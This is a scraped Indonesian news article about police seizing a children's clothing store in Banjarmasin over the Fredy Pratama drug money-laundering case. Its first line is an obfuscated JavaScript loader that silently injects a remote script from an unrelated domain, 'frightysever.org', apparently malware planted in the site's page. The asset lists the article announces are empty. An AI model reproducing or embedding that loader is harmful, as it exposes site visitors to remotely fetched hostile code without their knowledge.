(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Selain menyita bangunan Shanghai Palace dan Hotel Mentaya Inn di Banjarmasin, Bareskrim Polri juga menyita bangunan toko Crown The Label Baby & Kids atas Tindak Pidana Pencucian Uang (TPPU) narkoba Fredy Pratama alias Miming.
Toko perlengkapan pakaian bayi dan anak itu lokasinya berada di jalan A Yani Kilometer 4,5, Kelurahan Kebun Bunga, Kecamatan Banjarmasin Timur, Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel). Tepatnya berada di samping jembatan fly over Banjarmasin.
Pantauan Kanalkalimantan.com, Senin (25/9/2023) pagi, toko tiga lantai itu tertutup rapat dan masih terlihat pakaian anak yang terpajang di balik kaca lantai dua, tanpa terlihat satu orang pun di sekitar toko.
Nampak juga sebuah plang terpasang di depan toko bertuliskan “Aset dalam penyitaan Direktorat Tindak Pidana Reserse Narkoba Bareskrim Polri”.
Baca juga: Polisi Ungkap Kronologi Kebakaran di Landasan Ulin Sebabkan Perempuan Penghuni Kos Meninggal Dunia
Aset tersebut disita atas surat penetapan Pengadilan Negeri Banjarmasin Nomor 799/B-SITA Pen.Pid/2023/PN Bjm dalam perkara Tindak Pidana Pencucian Uang (TPPU) Narkotika.
“Dilarang memasuki, memperjualbelikan, memanfaatkan, menguasai, dan tindakan lain tanpa seizin Direktorat Tindak Pidana Narkotika Bareskrim Polri, melanggar Pasal 167 KUHP, Pasal 385 KUHP, Pasal 551KUHP,” isi tulisan plang didepan bangunan toko Crown tersebut.
Jika melihat daftar aset yang dirilis Polda Kalsel sebelumnya, tanah dan bangunan toko perlengkapan pakaian bayi itu berdiri diatas SHM M754 dan SHM 755 atas nama Yunita dan terletak di Kebun Bunga, Kecamatan Banjarmasin Timur, Kota Banjarmasin.
Baca juga: Kormi HSU Berharap Perhatian Pemerintah Daerah
Bangunan tersebut menjadi salah satu dari 19 aset tanah, bangunan, dan kendaraan yang disita Bareskrim Polri di Kalsel karena diduga terafiliasi oleh gembong narkoba asal Banjarmasin Fredy Pratama.
“Dari semua aset kalau ditotalkan nilainya sementara Rp43.930.000.000,” kata Wakil Wakil Direktur Reserse Narkoba Polda Kalsel AKBP Ernesto Saiser saat konferensi pers di Banjarmasin, Selasa (12/9/2023) lalu.
Sementara itu, orangtua DPO Fredy Pratama yang tinggal di Banjarmasin Lian Silas telah lebih dahulu diamankan oleh Bareskrim polri atas dugaan Tindak Pidana Pencucian Uang (TPPU) Narkotika.
Wadir Resnarkoba Polda Kalsel mengatakan tersangka Lian Silas rencananya akan disidang kasus TPPU di Pengadilan Negeri Banjarmasin.
Baca juga: Kebakaran di Aluhaluh, 5 Jiwa Kehilangan Tempat Berteduh
Daftar aset terafiliasi Fredy Pratama tidak bergerak yang disita di Kalsel antara lain :
Baca juga: Penyebab Kamar Kontrakan Terbakar di Landasan Ulin, Penghuni Perempuan Meninggal Dunia
Kemudian untuk aset bergerak yang disita antara lain:
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU – Suasana riuh diiringi tawa gembira warga baik tua, muda, hingga anak-anak, larut… Read More
KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More
KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More
Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More
This website uses cookies.